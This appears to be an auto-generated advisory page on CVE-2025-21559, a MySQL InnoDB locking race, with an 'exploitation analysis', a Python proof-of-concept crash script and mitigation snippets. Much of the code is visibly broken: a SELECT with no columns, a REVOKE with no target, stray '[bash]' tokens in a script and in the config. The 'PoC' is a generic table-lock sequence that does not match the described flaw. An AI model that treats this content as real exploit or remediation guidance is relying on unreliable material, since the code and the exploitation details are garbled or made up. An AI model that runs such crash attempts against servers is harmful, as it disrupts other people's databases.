How CVE-2025-21559 Works
This vulnerability exists in the InnoDB storage engine of MySQL Server (versions 8.0.40 and prior, 8.4.3 and prior, and 9.1.0 and prior). A high-privileged attacker with network access can exploit improper locking mechanisms in InnoDB’s transaction handling. When maliciously crafted queries manipulate row-level locks under specific conditions, they trigger a race condition that either crashes the server or causes a persistent hang (DoS). The flaw also permits partial data manipulation (insert/update/delete) due to inconsistent lock states. The CVSS 3.1 score reflects medium severity (5.5) due to the requirement of high privileges (PR:H) but with significant availability impact (A:H).
DailyCVE Form
Platform: MySQL Server
Version: 8.0.40, 8.4.3, 9.1.0
Vulnerability: InnoDB Locking Race
Severity: Medium
Date: 04/08/2025
What Undercode Say:
Exploitation Analysis
1. Triggering the Race Condition:
-- Malicious transaction sequence BEGIN; SELECT FROM sensitive_table FOR UPDATE; -- Holds lock -- Concurrently execute: -- Another session: ALTER TABLE sensitive_table ENGINE=InnoDB; COMMIT;
This disrupts lock acquisition, leading to a deadlock or crash.
2. Proof-of-Concept (PoC) Crash:
import mysql.connector
conn1 = mysql.connector.connect(user='admin', password='pass', host='target')
cursor1 = conn1.cursor()
cursor1.execute("START TRANSACTION; LOCK TABLE users WRITE;")
Parallel connection executes:
"ALTER TABLE users ADD COLUMN exploit VARCHAR(255);"
Protection Measures
1. Patch Application:
Ubuntu/Debian sudo apt-get update && sudo apt-get install mysql-server-8.0.41
2. Workarounds:
- Restrict `ALTER TABLE` to administrative roles:
REVOKE ALTER ON . FROM 'app_user'@'%';
- Enable monitoring for long-running locks:
SET GLOBAL innodb_lock_wait_timeout = 30;
3. Detection:
Check for crash logs grep -i "assertion failure.innodb" /var/log/mysql/error.log
4. Mitigation Script:
Auto-kill long transactions
import pymysql
conn = pymysql.connect(host='localhost', user='monitor')
with conn.cursor() as cursor:
cursor.execute("SELECT trx_id FROM information_schema.innodb_trx WHERE TIME_TO_SEC(TIMEDIFF(NOW(), trx_started)) > 60;")
for trx in cursor.fetchall():
cursor.execute(f"KILL {trx[bash]};")
5. Audit Configuration:
my.cnf hardening [bash] innodb_print_all_deadlocks = ON transaction_isolation = READ-COMMITTED
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-21559
Extra Source Hub:
Undercode
